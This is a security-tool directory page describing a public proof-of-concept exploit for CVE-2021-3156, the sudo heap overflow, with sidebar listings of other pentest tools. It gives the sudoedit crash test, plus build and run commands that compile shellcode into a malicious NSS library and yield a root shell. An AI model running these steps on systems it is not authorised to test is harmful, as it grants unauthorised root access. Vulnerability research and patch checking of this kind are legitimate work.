Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-3156 — Proof-of-concept exploit for CVE-2021-3156, a heap-based buffer overflow in sudo before 1.9.5p2, enabling privilege escalation to root via sudoedit -s. | Kitploit
Tools/GitHubGitHub/sbladiamond/cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubsbladiamond/cve-2021-3156

CVE-2021-3156

Proof-of-concept exploit for CVE-2021-3156, a heap-based buffer overflow in sudo before 1.9.5p2, enabling privilege escalation to root via sudoedit -s.

View Repository
1115 years agoNot yet reviewed
Share

CVE-2021-3156

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via sudoedit -s and a command-line argument that ends with a single backslash character.

Credit to: Advisory by Baron Samedit of Qualys

How to check if you are affected.

The sudo project released a command that allows you to test whether your version of sudo is vulnerable:

sudoedit -s '\' `perl -e 'print "A" x 65536'`

If you receive a usage or error message, sudo is not vulnerable. If the result is a Segmentation fault, sudo is vulnerable.

Usage

Root shell PoC for CVE-2021-3156 (no bruteforce) Tested on Ubuntu 20.04 (sudo 1.8.31)

$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    930
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    554
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    354
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    349
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →